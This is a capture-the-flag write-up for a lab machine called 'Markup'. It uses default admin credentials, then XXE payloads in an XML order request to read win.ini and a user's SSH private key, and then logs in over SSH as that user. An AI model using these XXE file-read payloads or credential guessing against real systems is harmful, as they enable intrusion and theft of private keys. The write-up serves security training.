Post

Markup

A shopping web app accepts default admin credentials, and its XML order endpoint resolves external entities, letting a file:/// payload read a username-hinted user's SSH private key for an interactive login and the user flag.

Markup

Overview

Markup is a very-easy Windows box. The web app on port 80 logs in with default credentials, and its Order page submits raw XML to a parser that resolves external entities — a textbook XXE. After proving arbitrary file read with win.ini, a Modified by Daniel comment in the page source names a user, and the same XXE payload pulls Daniel’s SSH private key for an interactive login. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Default creds plus a textbook XXE file-read of an SSH key; no named CVE and the source-comment username hint adds a mild CTF-puzzle feel, otherwise straightforward web work.

Recon

PortServiceNotes
22/tcpOpenSSH for Windows 8.1key login
80/tcpApache 2.4.41 (PHP 7.2.28)MegaShopping app
443/tcpApache (same stack)“Bad request!”
1
nmap -sC -sV 10.10.10.10

Three ports, no credentials in hand, so the web server on port 80 is the obvious starting point.

Enumeration

Port 80 serves a “Welcome!” login page for a shop called MegaShopping. With no credentials, the cheapest first move is a short list of default pairs:

1
2
3
4
5
admin:admin
administrator:administrator
admin:administrator
admin:password
administrator:password

admin:password authenticates and drops onto the store. Of the linked pages, Order stands out — it has structured input fields (type, quantity, address). Intercepting the Submit in Burp reveals the body is raw XML posted to /process.php with Content-Type: text/xml:

1
2
3
4
5
6
<?xml version="1.0"?>
<order>
  <quantity>2</quantity>
  <item>Home Appliances</item>
  <address>Test street</address>
</order>

A server parsing attacker-controlled XML is the cue to test for XML External Entities.

Foothold

1 — Confirm XXE with a local file read. Because the target is Windows, c:/windows/win.ini is a reliable, always-present test file. Add a DOCTYPE declaring an external entity and reference it inside an order field:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
  <quantity>3</quantity>
  <item>&test;</item>
  <address>17th Estate, CA</address>
</order>

The response echoes the contents of win.ini back in the processed-order text — the parser resolved the entity, confirming XXE.

2 — Find a target file. Blindly guessing file paths is slow. Viewing the page source of the app surfaces a comment, Modified by Daniel, naming a local user. On a Windows OpenSSH host, the highest-value file for that user is their SSH private key.

3 — Read Daniel’s SSH key over XXE. Point the same entity at his key:

1
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>

The response returns a full -----BEGIN ... PRIVATE KEY----- block.

4 — Log in as Daniel. Save the key, lock down its permissions, and authenticate:

1
2
chmod 400 id_rsa
ssh -i id_rsa [email protected]

This yields an interactive markup\daniel shell.

User flag

type C:\Users\daniel\Desktop\user.txt
1
[redacted]

Privilege escalation (a BUILTIN\Users-writable scheduled job.bat that runs as SYSTEM) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.